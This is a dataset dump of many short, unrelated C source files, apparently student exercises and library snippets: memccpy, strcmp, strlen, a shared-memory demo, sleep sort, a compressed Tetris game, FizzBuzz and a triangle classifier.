65314, 65337, 65359, 65381, 65403, 65425, 65447, 65469, 65492, 65514
};
//const uint32_t towPowers1_2q16_16[4096]
const float note2bpo[129] = {
0.709432, 0.7927653333, 0.8760986667, 0.959432, 1.0427653333, 1.1260986667, 1.209432, 1.2927653333, 1.3760986667, 1.459432, 1.5427653333, 1.6260986667, 1.709432, 1.7927653333,
1.8760986667, 1.959432, 2.0427653333, 2.1260986667, 2.209432, 2.2927653333, 2.3760986667, 2.459432, 2.5427653333, 2.6260986667, 2.709432, 2.7927653333, 2.8760986667, 2.959432,
3.0427653333, 3.1260986667, 3.209432, 3.2927653333, 3.3760986667, 3.459432, 3.5427653333, 3.6260986667, 3.709432, 3.7927653333, 3.8760986667, 3.959432, 4.0427653333, 4.1260986667,
4.209432, 4.2927653333, 4.3760986667, 4.459432, 4.5427653333, 4.6260986667, 4.709432, 4.7927653333, 4.8760986667, 4.959432, 5.0427653333, 5.1260986667, 5.209432, 5.2927653333,
5.3760986667, 5.459432, 5.5427653333, 5.6260986667, 5.709432, 5.7927653333, 5.8760986667, 5.959432, 6.0427653333, 6.1260986667, 6.209432, 6.2927653333, 6.3760986667, 6.459432,
6.5427653333, 6.6260986667, 6.709432, 6.7927653333, 6.8760986667, 6.959432, 7.0427653333, 7.1260986667, 7.209432, 7.2927653333, 7.3760986667, 7.459432, 7.5427653333, 7.6260986667,
7.709432, 7.7927653333, 7.8760986667, 7.959432, 8.0427653333, 8.1260986667, 8.209432, 8.2927653333, 8.3760986667, 8.459432, 8.5427653333, 8.6260986667, 8.709432, 8.7927653333,
8.8760986667, 8.959432, 9.0427653333, 9.1260986667, 9.209432, 9.2927653333, 9.3760986667, 9.459432, 9.5427653333, 9.6260986667, 9.709432, 9.7927653333, 9.8760986667, 9.959432,
10.0427653333, 10.1260986667, 10.209432, 10.2927653333, 10.3760986667, 10.459432, 10.5427653333, 10.6260986667, 10.709432, 10.7927653333, 10.8760986667, 10.959432, 11.0427653333,
11.1260986667, 11.209432, 11.2927653333, 11.3760986667
};
#endif |
the_stack_data/124436.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tools
{
unsigned int id;
char name[25];
unsigned int qty;
float cost;
} structTools;
int main (void)
{
structTools Inventory = {0, "", 0, 0.0}, *const inventoryPtr = &Inventory;
char usrInput[40]= "abcdefghijklmnopqrstuvwxyz 999999999 99999.99";
int usrInputLeng = 0;
unsigned int item_id = 0;
do
{
printf("Enter new tool inventory ID (1-100): ");
scanf("%u", &item_id);
fflush(stdin);
}while(item_id < 1 && item_id > 100);
inventoryPtr->id = (unsigned int)(item_id - 1);
printf("\inventoryPtr->id = %u\n", inventoryPtr->id);//TEST PURPUSES
//current data
printf("Enter tool name, quantity, and cost.\n");
//gets(usrInput);
usrInputLeng = strlen(usrInput);
for(int i=usrInputLeng, spcDtctd=2; i>=0 && spcDtctd > 0; --i)
{
//printf("\ni=%d spcDtctd=%d",i ,spcDtctd);//TEST PURPOSES
if(usrInput[i-1]== ' ')
{
//printf("\nSPACE");//TEST PURPOSES
switch(spcDtctd)
{
case 2:
//float portion of input
inventoryPtr->cost = atof(&usrInput[i]);
usrInput[i-1] = '\0';
--spcDtctd;
printf("\ninventoryPtr->cost=%f",inventoryPtr->cost);
break;
case 1:
//unsigned integet portion of input
usrInput[i-1] = '\0';
char *tempPtr;
//long temp = strtoul(&usrInput[i], &temp, 10);
inventoryPtr->qty = ((unsigned int)strtoul(&usrInput[i], &tempPtr, 10));//temp;
--spcDtctd;
printf("\ninventoryPtr->qty = %u",inventoryPtr->qty);
//String portion of input
if((i-1) > 24)
{
usrInput[24] = '\0';
}
//int nameleng = ((i-1)*sizeof(char));
strcpy(inventoryPtr->name,usrInput);
//memcpy(inventoryPtr->name,usrInput,nameleng);
printf("\ninventoryPtr->name = %s",inventoryPtr->name);
break;
}
}
}
fflush(stdin);
return 0;
}
|
the_stack_data/37639156.c | #include "../string.h"
int strcmp(const char* l, const char* r) {
for (; *l == *r && *l; l++, r++) {}
return *(unsigned char*) l - *(unsigned char*) r;
}
|
the_stack_data/90763128.c |
void soundStop()
{
}
void soundPlay(unsigned char note)
{
(void)note;
} |
the_stack_data/162642436.c | #include <string.h>
#include <stdint.h>
#include <limits.h>
/*
The memccpy() function shall copy bytes from memory area src into dest,
stopping after the first occurrence of byte c (converted to an unsigned char)
is copied, or after n bytes are copied, whichever comes first. If copying
takes place between objects that overlap, the behavior is undefined.
The memccpy() function shall return a pointer to the byte after the copy
of c in dest, or a null pointer if c was not found in the first n bytes of src.
*/
// default is to optimize for size
#if !defined(LIBC_MEMCCPY_OPTIMIZE_SIZE) && !defined(LIBC_MEMCCPY_OPTIMIZE_SPEED)
#define LIBC_MEMCCPY_OPTIMIZE_SIZE
#elif defined(LIBC_MEMCCPY_OPTIMIZE_SIZE) && defined(LIBC_MEMCCPY_OPTIMIZE_SPEED)
#error "Only one of LIBC_MEMCCPY_OPTIMIZE_SIZE or LIBC_MEMCCPY_OPTIMIZE_SPEED can be defined!"
#endif
#if defined(LIBC_MEMCCPY_OPTIMIZE_SIZE)
// Trivial implementaion based on memccpy from newlib
// processing byte at a time
void *memccpy(void *restrict dest, const void *restrict src, int c, size_t n)
{
unsigned char *d = dest;
const unsigned char *s = src;
c = (unsigned char) c;
while (n--)
{
if ((*d++ = *s++) == c) return d;
}
return 0;
}
#elif defined(LIBC_MEMCCPY_OPTIMIZE_SPEED)
// speed optimized implementation based on memccpy from musl
// processing word at a time
#define ALIGN (sizeof(size_t)-1)
#define ONES ((size_t)-1/UCHAR_MAX)
#define HIGHS (ONES * (UCHAR_MAX/2+1))
#define HASZERO(x) (((x)-ONES) & ~(x) & HIGHS)
void *memccpy(void *restrict dest, const void *restrict src, int c, size_t n)
{
unsigned char *d = dest;
const unsigned char *s = src;
c = (unsigned char)c;
if (((uintptr_t)s & ALIGN) == ((uintptr_t)d & ALIGN))
{
const size_t *ws;
size_t *wd, k;
for (; ((uintptr_t)s & ALIGN) && n && (*d = *s) != c; n--, s++, d++);
if ((uintptr_t)s & ALIGN) goto tail;
k = ONES * c;
wd = (void *)d;
ws = (const void *)s;
for (; (n >= sizeof(size_t)) && !HASZERO(*ws^k); n -= sizeof(size_t), ws++, wd++)
*wd = *ws;
d = (void *)wd;
s = (const void *)ws;
}
for (; n && (*d = *s) != c; n--, s++, d++);
tail:
if (*s == c) return d + 1;
return 0;
}
#endif // defined(LIBC_MEMCCPY_OPTIMIZE_SIZE)
|
the_stack_data/103370.c | #include <stdio.h>
int main(void) {
char *s = "ABCD";
printf(" %s \n", s);
return 0;
}
|
the_stack_data/145451693.c | //
// Created by lucas on 01/04/2021.
//
#include <stdio.h>
int main() {
int a, b, c;
printf("Digite a,b e c");
scanf("%i %i %i", &a, &b, &c);
if (a + b < c) {
printf("%i+%i é menor que %i", a, b, c);
}
} |
the_stack_data/231394160.c | /**
* UMB-CS240-2016S: Programming in C
* Copyright 2016 Pejman Ghorbanzade <[email protected]>
* More info: https://github.com/ghorbanzade/UMB-CS240-2016S
*/
#include <stdio.h>
#include <stdlib.h>
#define MAX_LENGTH 16
#define FILE1 "file1.txt"
#define FILE2 "file2.txt"
int main(void)
{
FILE *ptr1, *ptr2;
char line[MAX_LENGTH];
ptr1 = fopen(FILE1, "r+");
if (ptr1 == NULL) {
printf("unable to open file1.txt\n");
return EXIT_FAILURE;
}
ptr2 = fopen(FILE2, "w");
if (ptr2 == NULL) {
printf("unable to open file1.txt\n");
goto ERR;
}
while (fgets(line, MAX_LENGTH, ptr1))
fputs(line, ptr2);
fclose(ptr2);
ERR:
fclose(ptr1);
return EXIT_SUCCESS;
}
|
the_stack_data/232955050.c | /* Copyright (c) 2014, Google Inc.
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
* SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
* OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
* CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */
#include <openssl/rand.h>
#if defined(OPENSSL_WINDOWS) && !defined(BORINGSSL_UNSAFE_DETERMINISTIC_MODE)
#include <limits.h>
#include <stdlib.h>
OPENSSL_MSVC_PRAGMA(warning(push, 3))
#include <windows.h>
// #define needed to link in RtlGenRandom(), a.k.a. SystemFunction036. See the
// "Community Additions" comment on MSDN here:
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa387694.aspx
#define SystemFunction036 NTAPI SystemFunction036
#include <ntsecapi.h>
#undef SystemFunction036
OPENSSL_MSVC_PRAGMA(warning(pop))
#include "../fipsmodule/rand/internal.h"
void CRYPTO_sysrand(uint8_t *out, size_t requested) {
while (requested > 0) {
ULONG output_bytes_this_pass = ULONG_MAX;
if (requested < output_bytes_this_pass) {
output_bytes_this_pass = (ULONG)requested;
}
if (RtlGenRandom(out, output_bytes_this_pass) == FALSE) {
abort();
}
requested -= output_bytes_this_pass;
out += output_bytes_this_pass;
}
return;
}
#endif // OPENSSL_WINDOWS && !BORINGSSL_UNSAFE_DETERMINISTIC_MODE
|
the_stack_data/92326454.c | /*
* This demonstrates shared memory IPC for separate processes using a file
* system path reference to shared memory. Note that the shmget key is
* derived from a path and the child execve's a totally separate process.
*
* This page is a useful supplement to the man pages.
* http://www.csl.mtu.edu/cs4411.ck/www/NOTES/process/shm/example-2.html
*/
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <malloc.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/wait.h>
int main(int argc, char **argv)
{
int rc = 1;
pid_t cpid = 0;
key_t key = 0;
int shmid = 0;
struct shmid_ds shmbuf;
char *buffer = NULL;
size_t buffer_size = 4096;
int exec = 0;
key = ftok("shmfile", 'R');
if (key < 0) {
perror("ftok");
goto cleanup;
}
shmid = shmget(key, buffer_size, IPC_CREAT | 0666);
if (shmid < 0) {
perror("shmget");
goto cleanup;
}
buffer = (char*)shmat(shmid, NULL, 0);
if (buffer < 0) {
perror("shmat");
goto cleanup;
}
cpid = fork();
if (cpid < 0) {
perror("fork");
goto cleanup;
}
else if (cpid == 0) {
printf("child pid is %d\n", getpid());
exec = execl("sysv_shared_memory_file_child", "sysv_shared_memory_file_child", (char *)NULL);
if (exec < 0) {
perror("execve");
goto cleanup;
}
}
else {
printf("parent pid is %d and child pid is %d\n", getpid(), cpid);
wait(0);
printf("parent read from shared memory buffer: %s\n", buffer);
}
rc = 0;
cleanup:
if (buffer > 0)
shmdt(buffer);
if (shmid > 0)
shmctl(shmid, IPC_RMID, &shmbuf);
return rc;
}
|
the_stack_data/93887250.c | /**
*
* File Name: libc/string/strlen.c
* Title : Simple Standard C Library
* Project : PINE64 ROCK64 Bare-Metal
* Author : Copyright (C) 2021 Johannes Krottmayer <[email protected]>
* Created : 2021-01-16
* Modified :
* Revised :
* Version : 0.1.0.0
* License : ISC (see LICENSE.txt)
*
* NOTE: This code is currently below version 1.0, and therefore is considered
* to be lacking in some functionality or documentation, or may not be fully
* tested. Nonetheless, you can expect most functions to work.
*
*/
int strlen(const char *s)
{
int ret = 0;
if (!s)
return 0;
while (s[ret++] != '\0')
;
return ret;
}
|
the_stack_data/154830104.c | /* Interview Question 17.1 */
#include <stdio.h>
#include <stdlib.h>
void swap_numbers(int *a, int *b)
{
*a = *a + *b;
*b = *a - *b;
*a = *a - *b;
}
int main(void)
{
int a, b;
while (fscanf(stdin, "%d %d", &a, &b) > 0) {
swap_numbers(&a, &b);
printf("%d %d\n", a, b);
}
return EXIT_SUCCESS;
}
|
the_stack_data/122015494.c | #include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#define NUM_ELMTS 10
/*Global Variable*/
int sortedArr[NUM_ELMTS];
int pos = 0;
void *runner (void *arg) {
int *val = arg;
usleep(*val*100000); //Sleeps the thread for one tenth of the value pointed by val.
/*DEBUG*/ printf("-> From Thread: %d \n", *val);
sortedArr[pos] = *val;
pos++;
pthread_exit(0);
}
int main () {
int testArr[NUM_ELMTS] = {6, 4, 1, 2, 5, 1, 2, 1, 1, 0}; //test array to be sorted using sleep function in different threads.
pthread_t tid[NUM_ELMTS]; // The thread identifiers.
pthread_attr_t tattr; //A set of thread attributes.
pthread_attr_init(&tattr); //Sets the default attribute of the thread.
for (int idx = 0; idx < NUM_ELMTS; idx++) {
///*DEBUG*/printf("%d \n", testArr[idx]);
pthread_create(&tid[idx], &tattr, runner, &testArr[idx]); //Create a new thread.
}
for (int idx = 0; idx < NUM_ELMTS; idx++) {
pthread_join(tid[idx], NULL); //Wait for the threat to exit.
}
printf("-> From sorted array: ");
for (int idx = 0; idx < NUM_ELMTS; idx++) {
printf("%d, ", sortedArr[idx]);
}
printf("\b\b \n");
return 0;
}
|
the_stack_data/126965.c | #define G(C)for(C,i=n[T];j=X+i%4,k=Y+i/4%4,k=k*W+j,i;i>>=4)
int W=10,H=25,S,i,j,k,c,d=1,X=0,Y=0,T=0,*m,n[]={51264,12816,21520,21520,25872,
34113,21537,38208,25921,38481,38484,38209,25922,43345,34388,38160,25920,38177,
42580,38993};M(int*v,int l){G(*v+=l)j+1&&j-W&&k<S&&!m[k]||(c=0);return c||(*v
-=l,v-&Y||(c=-1));}main(){for(srand(m=calloc(S=W*H,4));c-27;_sleep(50),system(
"cls")){G(c=kbhit()?getch()&95:1)m[k]=0;c^65&&c^68||M(&X,c&1?-1:1),c^83||M(&Y,
1);c^87||(i=T<8?1:3,M(&T,T&i^i?1:-i));G(++d-9||M(&Y,d=c=1))m[k]=1;for(;i<S;++i
%W||puts("|"))printf(m[i]?"[]":" ");if(c==-1)for(j=Y||(c=27),T=rand()%20,Y=X=
0,i=S;i;i--%W||(j=W),j-=m[i])if(!j)for(k=i+=W;--k-W;m[k]=m[k-W]);}}
/*
9行俄罗斯方块, 671字符(不包含换行符), 在1行80字符限制下仅可能减少代码;
AD移动, S下坠, W旋转, 某一行填满方块则消行, 当方块堆到顶层或按下Esc键时游戏结束;
可自定义地图尺寸(W, H)
比行数没意思, 较真还得看字符量(雾)
此处使用gcc编译通过, vs需要屏蔽4996号错误, 加上下面一行代码
#pragma warning(disable:4996)
2020.11.13
简单的压缩, 行数-1, 字符: 709 => 671
2020.10.2
完善说明
2020.9.20
上传
*/
|
the_stack_data/81496.c | #include <stdbool.h>
#include <sys/sysinfo.h>
bool is_multicore_system(void) {
return (get_nprocs_conf() > 1) ? true : false;
}
|
the_stack_data/107951767.c | /*
** EPITECH PROJECT, 2017
** libmy.a
** File description:
** Return 1 if str only contains lower alpha char
*/
int my_str_islower(char const *str)
{
if (str[0] == '\0')
return (1);
for (int i = 0; str[i] != '\0'; i++) {
if (str[i] < 97 || str[i] > 122)
return (0);
}
return (1);
}
|
the_stack_data/60258.c | // The MIT License (MIT)
//
// Copyright (c) 2016 Trevor Bakker
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// Purpose: Demonstrate implementing FizzBuzz
#include <stdio.h>
int main ()
{
int i;
for( i = 1; i < 100; i++ )
{
if( ( i % 5 == 0 ) && ( i % 3 == 0 ) )
{
printf("FizzBuzz\n");
}
else if ( i % 3 == 0 )
{
printf("Fizz\n");
}
else if ( i % 5 == 0 )
{
printf("Buzz\n");
}
else
{
printf("%d\n", i );
}
}
return 0;
}
|
the_stack_data/187642039.c | #include <stdio.h>
#include <stdlib.h>
int a=5;
int buffer[1000000];
int foo() {
int d;
static int e = 5;
printf("&d=%p &le=%p\n", &d, &e);
}
int
main()
{
int b;
static int c;
int * p = (int *) malloc(sizeof(int));
char * str = "Hello World\n";
printf("&a=%p\n", &a);
printf("&b=%p &c=%p\n", &b, &c);
printf("&p=%p p=%p\n", &p, p);
printf("&str=%p str=%p\n", &str, str);
foo();
printf("main=%p &foo=%p\n", main, &foo);
}
|
the_stack_data/207100.c | #include<stdio.h>
int main (){
int x,y,z;
printf("Informe o valor do X\n");
scanf("%d",&x);
printf("Informe o valor do Y\n");
scanf("%d",&y);
printf("Informe o valor do Z\n");
scanf("%d",&z);
if ((x>0)&&(y>0)&&(z>0)){
if((x==y)&&(y==z)){
printf("Triangulo Equilatero\n");
}
if((x!=y)&&(y==z)||(x==y)&&(y!=z)||(x==y)&&(z!=y)||(x==z)&&(y!=z)){
printf("Triangulo Isosceles\n");
}
if ((x!=y)&&(y!=z)&&(z!=x)){
printf("Triangulo Escaleno\n");
}
}else {
printf("Desculpe mas os valores dados nao forma um triangulo \n");
}
return 0;
}
|
Subsets and Splits